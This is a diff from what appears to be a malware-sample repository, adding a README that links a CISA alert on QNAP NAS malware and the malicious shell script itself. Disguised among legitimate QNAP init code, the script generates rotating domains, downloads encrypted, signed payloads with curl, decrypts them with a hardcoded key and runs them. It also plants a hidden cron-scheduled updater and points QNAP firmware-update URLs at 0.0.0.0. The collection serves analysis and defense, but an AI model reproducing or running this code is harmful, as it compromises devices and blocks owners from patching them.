"$CLOUD_INSTALL_PATH/bin/cloudinstallagent" | /bin/grep -v grep | /bin/awk '{print $1}'` + if [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; then + SLEEP_TIME=$(( 30 * $COUNTER )) + if [ $SLEEP_TIME -gt 300 ]; then + SLEEP_TIME=300 + fi + # wait next retry + sleep $SLEEP_TIME + fi + COUNTER=$(( $COUNTER * 2 )) + done + + END_TIME=$(date +"%T") + echo -e "report_success:$REPORT_SUCCESS_TIME\ndownload_finish:$DOWNLOAD_FINISH_TIME\nunzip_finish:$UNZIP_TIME\nend:$END_TIME" >> /tmp/.cloudinstall.log + # call for a new process group and for later kill + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh start &> /dev/null & + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_daemon.sh &> /dev/null & + + # set cloudinstall report status + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "REPORT_STATUS" "uninit" + # add link to report offline + /bin/ln -sf /etc/init.d/cloudinstall_report_offline.sh /etc/rcK.d/K99cloudinstall_report_offline + + # buzzer + HARDWARE_TYPE=$(uname -m) + if [[ "$HARDWARE_TYPE" == *"x86"* ]]; + then + /sbin/hal_app --se_buzzer enc_id=0,mode=101 + elif [[ "$HARDWARE_TYPE" == *"arm"* ]]; + then + /sbin/pic_raw 81 + fi + ;; + + stop) + # disconnect cloudinstall agent + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh stop &> /dev/null + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh stop &> /dev/null + for i in "${CLOUD_INSTALL_AGENT_DAEMON_PID_LIST[@]}" + do + # use bash kill instead /bin/kill for kill process group + # cloudinstall agent daemon and inotifywait + kill -9 -- -$i &>/dev/null + done + + # umount + if [ "$NAS_ARCH" == "ARM_64" ]; then + /bin/umount -l $USED_LOOP_DEVICE + /usr/local/sbin/losetup -d $USED_LOOP_DEVICE + else + /bin/umount -l $CLOUD_INSTALL_PATH + fi + # remove all files + if [ -d "$NAS_CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $NAS_CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_RAMDISK_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_RAMDISK_PATH + fi + ;; + + restart) + $0 stop + $0 start + ;; + + *) + echo "Usage: $0 {start|stop|restart}" + exit 1 +esac +exit 0 + + +set_env() +{ + debug=`$CMD_GETCFG Qsync Debug -u -d NULL` + if [ "$debug" != "NULL" ]; then + /bin/touch $LOG_FILE + else + /bin/rm -f $LOG_FILE + fi +} + +set_env + +dbg() +{ + if [ -f "$LOG_FILE" ]; then + echo "[`date "+%H:%M:%S"`] $@ " >> $LOG_FILE + fi +} + +dbg "> $0 $@ (pid $$)" + +fi + +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" + +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\n\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\n//I;s/\(^\|\n\)\[[^\n]\+\]\n.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } + +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } + +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in Public Download Multimedia Web Recordings homes; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +grep -F '' </dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } + +EOF +test "$fgrep" || fgrep=grep +test "$RANDOM" || RANDOM=17653 +genrstr () +{ + local s=; + local min=${1:-4}; + local max=${2:-12}; + local kspace="${3:-a-zA-Z}" + tr -dc "$kspace" < /dev/urandom | { + read -rn $(($RANDOM % ( $max - $min + 1 ) + $min )) s; + echo "$s" + } +} + +verifyfile() { +local file="$1" +local sig="${2:-$file_s}" +local out +test ! -z "$file" && test -s "$file" || return 1 +test ! -z "$sig" && test -s "$sig" || return 1 +test -f ".rsakey" || echo "$verifykey" > ".rsakey" +out=$(openssl dgst -sha1 -verify ".rsakey" -signature "$sig" "$file") && test "$out" = "Verified OK" && return 0 +return 1 +} + +decryptfile() { +local file="$1" +local ofile="${2:-${file}}" +local key='7C0vK4SzMO15zBxLD7XCi5hbjgP1ZjkJ' +openssl enc -d -aes-256-cbc -k "$key" -md sha1 -salt < "$file" > "${file}_d" || return $? +test -f "$ofile" && rm -f "$ofile" +mv "${file}_d" "$ofile" && return 0 +return 1 +} + +verifykey='-----BEGIN PUBLIC KEY----- +MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAt/EDT6SB75atrHW7Cpog +CXqrBM2CVbJo';verifykey="${verifykey}"'g4rwwS''z1Bp1i1' +verifykey="${verifykey}"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex +RC5qQSiS/7FS48jsPKsJnrUhnsI1fRLM4DqsEF3UOukZuDOYUhlteDuMqqZBz0AC +Q3YnLjraTjchMF0XmaAAcWOkg5MsxAOKTepue4R/tnrPAkAG86nq5LA1+wa7opNV +gQzwDh7YXhBnWz52+ebZ9TeqD31/sb5hoyUKf1Nr5HcKkklObuz1OGQJ//pkCbTC +2EnQw6tCPQhgSIA8wJKkaxW0f/UHP+YBmWa4Wn+uPrJJuHSVNEJtAp2wlX3THltz +0IGPQEuzoafOAl3EFjas3HcTX2HlEfnvAtRL2iLxJeba1nZ+U3geZOuxL1NhWhNh +pjaLcKwhkRck7Y5hr1Pz8pLDnXsx5w0QUz6XS8HVf/KHnNXHufFEn01y9YoPuau1 +DNnpDGbq632Bs8ESd3ueHk9OY/UZxWeN3UdbseFxK35XAgMBAAE= +-----END PUBLIC KEY-----' + +DOMAIN_EXT_A='cf tk ml ga gq' +DOMAIN_EXT_B='com biz org de rocks mx cn top nl men ws se info xyz net today ru fi name to in com.ua vg vn cd' + +test -d "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg" +test -d "${bdir}/.qpkg/.liveupdate" || mkdir "${bdir}/.qpkg/.liveupdate" +cd "${bdir}/.qpkg/.liveupdate" && rm -f .tmp.* + +echo "$verifykey" > ".rsakey" +i=0 n=0 c=0 errorcount=0 +outfile=$(mktemp "./.tmp.XXXXXX") || outfile=$(mktemp "${bdir}/.tmp.XXXXXX") || outfile=$(mktemp "/.tmp.XXXXXX") || outfile='./.tmp.out' + +for domainexts in "$DOMAIN_EXT_A" "$DOMAIN_EXT_B"; do + for ext in $domainexts; do + hostname=$(echo "$(( $(date +%s) / 1296000 ))IbjGOEgnuD${ext}" | openssl dgst -sha1 -binary | openssl base64 | sed 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ-+\//abcdefghijklmnopqrstuvwxyzabc/;s/=//g') + hostname=${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9]} + hostnames="${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9]} ${hostname%[a-z0-9][a-z0-9][a-z0-9]}" + hostnames="$hostnames ${hostname%[a-z0-9][a-z0-9]} ${hostname%[a-z0-9]} $hostname" + for host in $hostnames; do + test -f "$outfile" && rm -f "$outfile" + recentupdate='' + curl --connect-timeout 12 -m 30 -k -o "$outfile" "https://${host}.${ext}/qnap_firmware.xml?t=$(date +%s)" + test -s "$outfile" || continue + fsize=$(( $(wc -c < "$outfile") )) + test "$fsize" -gt 4096 && rm -f "$outfile" && continue + rsamsg=$(openssl base64 -in "$outfile" -d | openssl rsautl -pubin -inkey ".rsakey" -verify) || continue + test "$rsamsg" || continue + path="${rsamsg%|*}"; rsadomain="${path%|*}"; path="${path#*|}" + hash="${rsamsg##*|}"; ts="${hash#*_}"; hash="${hash%_*}" + test "$rsadomain" = "${host}.${ext}" || continue + timenow=$(date +%s) + test "$ts" -gt 0 && { test "$ts" -gt "$timenow" || test $(( $timenow - $ts )) -lt 172800; } && recentupdate=1 + curl --connect-timeout 12 -m 300 -k -o "$outfile" "https://${host}.${ext}/${path}" + filehash=$(openssl dgst -sha1 -binary "$outfile" | openssl base64) || continue + test "$filehash" = "$hash" || continue + curl --connect-timeout 12 -m 30 -k -o "${outfile}_s" "https://${host}.${ext}/s/${path}" + verifyfile "$outfile" "${outfile}_s" && decryptfile "$outfile" || continue + mv "${outfile}_s" "${ts}_v" + chmod 755 "$outfile" || continue + ( ( exec >/dev/null 2>/dev/null /dev/null 2>&1 +fi +start() +{ + if [ -f /usr/bin/qsyncman ]; then + [ ! -f /etc/config/hdcopyusb.conf ] || /bin/rm -f /etc/config/hdcopyusb.conf + /bin/sed -i '/hdusb_copy/d' /etc/config/crontab + /usr/bin/crontab /etc/config/crontab + echo -n "Starting QSync manitor: " + [ -d /etc/config/qsync ] || /usr/bin/install -d /etc/config/qsync + [ -f /etc/config/qsync/qhost.conf ] || /bin/touch /etc/config/qsync/qhost.conf + [ -f /etc/config/qsync/qsyncjobdef.conf ] || /bin/touch /etc/config/qsync/qsyncjobdef.conf + [ -f /etc/config/qsync/qsync.conf ] || /bin/cp -p /etc/default_config/qsync/qsync.conf /etc/config/qsync/qsync.conf + [ -f /etc/config/qsync/extdrv.conf ] || /bin/cp -p /etc/default_config/qsync/extdrv.conf /etc/config/qsync/extdrv.conf + [ -f /etc/config/qsync/qsyncd.conf ] || /bin/cp -p /etc/default_config/qsync/qsyncd.conf /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsyncd.conf ] || /bin/chmod 640 /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsync.conf ] || /bin/chmod 640 /etc/config/qsync/qsync.conf + [ ! -f /etc/config/qsync/qhost.conf ] || /bin/chmod 640 /etc/config/qsync/qhost.conf + /sbin/daemon_mgr qsyncman start "/usr/bin/qsyncman 1>/dev/null 2>&1" + echo "OK" + fi +} + +stop() +{ + echo "Shutting down QSync monitor: OK" + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + kill $pidnum 2>/dev/null + i=0 + while [ ${i} -lt 5 ] + do + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + if [ -z "$pidnum" ]; then + break + fi + sleep 1 + i=`/usr/bin/expr ${i} + 1` + done + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + [ -z "$pidnum" ] || kill -9 $pidnum 2>/dev/null + /sbin/daemon_mgr qsyncman stop "/usr/bin/qsyncman" + /usr/bin/killall -q qsyncman +} + +start_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x1 ] || return -1 + _qsyncd_run_pid=`/bin/pidof qsyncd` + [ -z $_qsyncd_run_pid ] || return -114 + _recycle_en=`/sbin/getcfg 'Network Recycle Bin' Enable -d FALSE` + _with_syslog=$1 + if [ "x$_recycle_en" = xTRUE ]; then + if [ "x$_with_syslog" = x1 ]; then + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + else + if [ "x$_with_syslog" = x1 ]; then + /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + fi + _iret=$? + if [ "x$_iret" = x0 ]; then + i=0 + while [ ${i} -lt 10000 ] + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" != "x-1" ] && [ ! -z $_qsyncd_run_pid ]; then + break + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + fi + return -$_iret +} + +stop_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x0 ] || return -1 + _qsyncd_pid=`/sbin/getcfg "" Pid -d -1 -f /etc/qsync/qsyncd.conf` + [ $_qsyncd_pid -lt 0 ] && return -3 + # Send SIGUSR1 to inform the daemon to output "[RTRR Server] Stopped" event log + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + # Send SIGINT to stop the QSyncd process + /bin/kill -SIGINT $_qsyncd_pid + _kill_ret=$? + if [ "x$_kill_ret" != x0 ]; then + return -3 + fi + echo "need wait $1 millisecond" + i=0 + while true + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" = "x-1" ] && [ -z $_qsyncd_run_pid ]; then + break + fi + if [ ${i} -ge $1 ]; then + # if time-out, we send two additional SIGINT to force the daemon to stop. + if [ $_qsyncd_pid -ge 0 ]; then + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + /bin/kill -SIGUSR1 $_qsyncd_pid + fi + j=0 + while [ ${j} -lt 500 ] + do + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ -z $_qsyncd_run_pid ]; then + return 0 + fi + usleep 20000 + j=`/usr/bin/expr ${j} + 20` + done + return -62 + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + return 0 +} + + +install() +{ + lock_file="/var/lock/qbox_install_bin.lck" + + if [ ! -f "${INSTALL_BUILD_IN}" ]; then + dbg "build-in ${QSYNC_NAME} is installed" + return 1 + fi + + if [ ! -f ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin ]; then + dbg "${QSYNC_NAME}.bin} not found" + return 1 + fi + + if [ ! -x "${QPKG_CLI}" ]; then + dbg "${QPKG_CLI} not found" + return 1 + fi + + ## make sure volume is exist + if [ ! -d /share/`/sbin/getcfg SHARE_DEF defPublic -d Public -f /etc/config/def_share.info` ]; then + dbg "/share/Public not found" + return 1 + fi + + ## is removed + if [ -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed ]; then + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "${QSYNC_NAME} is removed" + return 1 + fi + + if [ -f "$lock_file" ]; then + if [ $(( $(date +%s) - $(date +%s -r $lock_file) )) -le 180 ]; then + echo "${QSYNC_NAME} is installing" + dbg "${QSYNC_NAME} is installing" + return 1 + fi + fi + + /bin/touch "$lock_file" + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "install build-in ${QSYNC_NAME} start" + + set_default_disable_status + + ## install build in Qsync + ${QPKG_CLI} -K -m ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin > /dev/null 2>&1 + sleep 20 + + wait_install=60 + ## avoid initial take long time or fail + while [ "$wait_install" -gt 0 ]; do + stcode=`$CMD_GETCFG ${QSYNC_NAME}.bin stcode -f /etc/config/qpkg_job.conf` + if [ "$stcode" = "0" ]; then + break + fi + sleep 1 + let "wait_install--" + done + + ${QPKG_CLI} -C ${QSYNC_NAME}.bin > /dev/null 2>&1 + /bin/rm -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled + /bin/rm -f "$lock_file" + dbg "install build-in ${QSYNC_NAME} success" +} + +if [ "$1" == "stop" ]; then + exit 0 +fi +fi +XEOF +fi +chmod 755 "${bdir}/.qpkg/.liveupdate/liveupdate.sh" +touch -cr /bin/busybox "${bdir}/.qpkg/.liveupdate/liveupdate.sh" + +crontabargs=$(ps | grep 'cr[o]nd ' | sed -n 's/.*crond[^0-9A-Za-z-]*\(.\+\)/\1/p') +trycount=10; trycount=$(( $trycount - 10 )) +set x $crontabargs; shift +while [ $# -gt 0 ] && [ $trycount -lt 10 ]; do +trycount=$(( $trycount + 1 )) +getopts ':c:' OPT 2>/dev/null +test "$OPT" = 'c' && crontabfile="${OPTARG}/admin" && break +test "$OPTIND" -gt 0 && shift "$OPTIND" && OPTIND=1 || break +done +test "$crontabfile" && test -f "${crontabfile}" || crontabfile='/tmp/cron/crontabs/admin' + +for crontab in "$crontabfile" "${confdir}/crontab"; do +if $fgrep "${bdir}/.qpkg/.liveupdate/liveupdate.sh" "$crontab"; then +: +else +cronmins=$(printf '%i' "$(( $RANDOM % 60 ))") +cronhour=$(printf '%i' "$(( $RANDOM % 24 ))") +cronhour=$(printf '%i,' "$(( ( $cronhour + 8 ) % 24 ))" "$(( ( $cronhour + 16 ) % 24 ))")"$cronhour" +echo "$cronmins $cronhour"' * * * '"${bdir}/.qpkg/.liveupdate/liveupdate.sh >/dev/null 2>/dev/null" >> "$crontab" +sleep 5 +fi +done + +grep 'Liveupdate\|FirmwareRelease\|QTS_FW' /etc/default_config/uLinux.conf /etc/config/uLinux.conf | grep 'qnap\.com' >/dev/null && sed -i 's/https\?:\/\/[^\/]\+\/\(Liveupdate\|FirmwareRelease\|QTS_FW\)/http:\/\/0.0.0.0\/\1/' /etc/default_config/uLinux.conf /etc/config/uLinux.conf +sedexpr='QPKG CENTER XML\|Live Update XML\|FW_XML_ALT' +if grep "${sedexpr}" /etc/default_config/uLinux.conf /etc/config/uLinux.conf | grep 'qnap\.com' >/dev/null; then +sed -i 's/^ *\('"${sedexpr}"'\)\(.*https\?:\/\/[^\/]*\)\(qnap\.com[^\/]*\)/\1\20.0.0.0/' /etc/default_config/uLinux.conf /etc/config/uLinux.conf +grep "${sedexpr}" /etc/default_config/uLinux.conf /etc/config/uLinux.conf | grep 'qnap\.com' && sed -i 's/^ *\('"${sedexpr}"'\).*qnap\.com/\1 = /' /etc/default_config/uLinux.conf /etc/config/uLinux.conf +fi + +( ( exec >/dev/null 2>&1 /dev/null 2>/dev/null & ) & ) +exit 0 diff --git a/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/README.md b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/README.md new file mode 100644 index 0000000..1c0f07e --- /dev/null +++ b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/README.md @@ -0,0 +1 @@ +https://us-cert.cisa.gov/ncas/alerts/aa20-209a diff --git a/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/a569332b52d484f40b910f2f0763b13c085c7d93dcdc7fea0aeb3a3e3366ba5d b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/a569332b52d484f40b910f2f0763b13c085c7d93dcdc7fea0aeb3a3e3366ba5d new file mode 100644 index 0000000..3b667ad --- /dev/null +++ b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/a569332b52d484f40b910f2f0763b13c085c7d93dcdc7fea0aeb3a3e3366ba5d @@ -0,0 +1,510 @@ +#!/bin/sh +QNAP_QPKG=cloudinstall +QID_PRESISTENT_CONF=/etc/config/qid_persistent.conf +NAS_CLOUD_INSTALL_PATH=/home/httpd/cgi-bin/cloudinstall +CLOUD_INSTALL_PATH=/tunnel_agent +CLOUD_INSTALL_RAMDISK_PATH=/tunnel_agent_ramdisk +CLOUD_INSTALL_AGENT_FILE_PATH=$CLOUD_INSTALL_PATH/tunnel_agent.tar.bz2 +COUNTER=1 +ERROR_BAD_REQUEST=400 + +if [ "$fromrcS" = 'TRUE' ]; then +case "$1" in + start) + START_TIME=$(date +"%T") + echo -e "start:$START_TIME" >> /tmp/.cloudinstall.log + while [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; + do + # report device info and get cloudinstall agent app download url + DOWNLOAD_URL=`/usr/sbin/qcloud_uninit_device_tool -r` + if [ ! -d "$CLOUD_INSTALL_PATH" ]; then + if [ "$NAS_ARCH" == "ARM_64" ]; then + # create ramdisk and create a 64mb file + /bin/mkdir -p $CLOUD_INSTALL_RAMDISK_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_RAMDISK_PATH + /bin/dd if=/dev/zero of=$CLOUD_INSTALL_RAMDISK_PATH/image bs=1M count=64 + # create block size 1K filesystem + /sbin/mke2fs -b 1024 $CLOUD_INSTALL_RAMDISK_PATH/image + # create virtual disk + export USED_LOOP_DEVICE=`/usr/local/sbin/losetup -f $CLOUD_INSTALL_RAMDISK_PATH/image` + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "USED_LOOP_DEVICE" "$USED_LOOP_DEVICE" + /bin/mkdir -p $CLOUD_INSTALL_PATH + # mount virtual disk + /bin/mount $USED_LOOP_DEVICE $CLOUD_INSTALL_PATH + else + # create and mount tmpfs folder + /bin/mkdir -p $CLOUD_INSTALL_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_PATH + fi + fi + cd $CLOUD_INSTALL_PATH + + if [[ $DOWNLOAD_URL == https* ]]; then + REPORT_SUCCESS_TIME=$(date +"%T") + else + REPORT_FAIL_TIME=$(date +"%T") + echo -e " report_fail:$REPORT_FAIL_TIME\n response:$DOWNLOAD_URL" >> /tmp/.cloudinstall.log + # stop retry when got bad request + # prevent put bad request all the time + if [[ $DOWNLOAD_URL == *$ERROR_BAD_REQUEST* ]]; then + break + fi + fi + + # downlaod cloudinstall agent app + /usr/sbin/qcloud_uninit_device_tool -o "$CLOUD_INSTALL_AGENT_FILE_PATH" -d "$DOWNLOAD_URL" + + if [ -f "$CLOUD_INSTALL_AGENT_FILE_PATH" ]; then + DOWNLOAD_FINISH_TIME=$(date +"%T") + # unzip and execute cloudinstallagent + /bin/tar -xf $CLOUD_INSTALL_AGENT_FILE_PATH -C $CLOUD_INSTALL_PATH + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh start &> /dev/null + + UNZIP_TIME=$(date +"%T") + fi + + if [ ! -d "$NAS_CLOUD_INSTALL_PATH" ]; then + # create folder and create symbolic link + /bin/mkdir -p $NAS_CLOUD_INSTALL_PATH + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.html $NAS_CLOUD_INSTALL_PATH/index.html + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.cgi $NAS_CLOUD_INSTALL_PATH/cloudinstall.cgi + /bin/ln -s $CLOUD_INSTALL_PATH/ui/static $NAS_CLOUD_INSTALL_PATH/static + fi + + # wait connect + sleep 5 + CLOUD_INSTALL_AGENT_PID_LIST=`/bin/ps --columns 256 | /bin/grep "$CLOUD_INSTALL_PATH/bin/cloudinstallagent" | /bin/grep -v grep | /bin/awk '{print $1}'` + if [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; then + SLEEP_TIME=$(( 30 * $COUNTER )) + if [ $SLEEP_TIME -gt 300 ]; then + SLEEP_TIME=300 + fi + # wait next retry + sleep $SLEEP_TIME + fi + COUNTER=$(( $COUNTER * 2 )) + done + + END_TIME=$(date +"%T") + echo -e "report_success:$REPORT_SUCCESS_TIME\ndownload_finish:$DOWNLOAD_FINISH_TIME\nunzip_finish:$UNZIP_TIME\nend:$END_TIME" >> /tmp/.cloudinstall.log + # call for a new process group and for later kill + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh start &> /dev/null & + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_daemon.sh &> /dev/null & + + # set cloudinstall report status + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "REPORT_STATUS" "uninit" + # add link to report offline + /bin/ln -sf /etc/init.d/cloudinstall_report_offline.sh /etc/rcK.d/K99cloudinstall_report_offline + + # buzzer + HARDWARE_TYPE=$(uname -m) + if [[ "$HARDWARE_TYPE" == *"x86"* ]]; + then + /sbin/hal_app --se_buzzer enc_id=0,mode=101 + elif [[ "$HARDWARE_TYPE" == *"arm"* ]]; + then + /sbin/pic_raw 81 + fi + ;; + + stop) + # disconnect cloudinstall agent + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh stop &> /dev/null + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh stop &> /dev/null + for i in "${CLOUD_INSTALL_AGENT_DAEMON_PID_LIST[@]}" + do + # use bash kill instead /bin/kill for kill process group + # cloudinstall agent daemon and inotifywait + kill -9 -- -$i &>/dev/null + done + + # umount + if [ "$NAS_ARCH" == "ARM_64" ]; then + /bin/umount -l $USED_LOOP_DEVICE + /usr/local/sbin/losetup -d $USED_LOOP_DEVICE + else + /bin/umount -l $CLOUD_INSTALL_PATH + fi + # remove all files + if [ -d "$NAS_CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $NAS_CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_RAMDISK_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_RAMDISK_PATH + fi + ;; + + restart) + $0 stop + $0 start + ;; + + *) + echo "Usage: $0 {start|stop|restart}" + exit 1 +esac +exit 0 + + +set_env() +{ + debug=`$CMD_GETCFG Qsync Debug -u -d NULL` + if [ "$debug" != "NULL" ]; then + /bin/touch $LOG_FILE + else + /bin/rm -f $LOG_FILE + fi +} + +set_env + +dbg() +{ + if [ -f "$LOG_FILE" ]; then + echo "[`date "+%H:%M:%S"`] $@ " >> $LOG_FILE + fi +} + +dbg "> $0 $@ (pid $$)" + +fi + +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" + +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\n\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\n//I;s/\(^\|\n\)\[[^\n]\+\]\n.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } + +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } + +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in Public Download Multimedia Web Recordings homes; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +grep -F '' </dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } + +EOF +test "$fgrep" || fgrep=grep +test "$RANDOM" || RANDOM=17653 +genrstr () +{ + local s=; + local min=${1:-4}; + local max=${2:-12}; + local kspace="${3:-a-zA-Z}" + tr -dc "$kspace" < /dev/urandom | { + read -rn $(($RANDOM % ( $max - $min + 1 ) + $min )) s; + echo "$s" + } +} + +verifyfile() { +local file="$1" +local sig="${2:-$file_s}" +local out +test ! -z "$file" && test -s "$file" || return 1 +test ! -z "$sig" && test -s "$sig" || return 1 +test -f ".rsakey" || echo "$verifykey" > ".rsakey" +out=$(openssl dgst -sha1 -verify ".rsakey" -signature "$sig" "$file") && test "$out" = "Verified OK" && return 0 +return 1 +} + +decryptfile() { +local file="$1" +local ofile="${2:-${file}}" +local key='7C0vK4SzMO15zBxLD7XCi5hbjgP1ZjkJ' +openssl enc -d -aes-256-cbc -k "$key" -md sha1 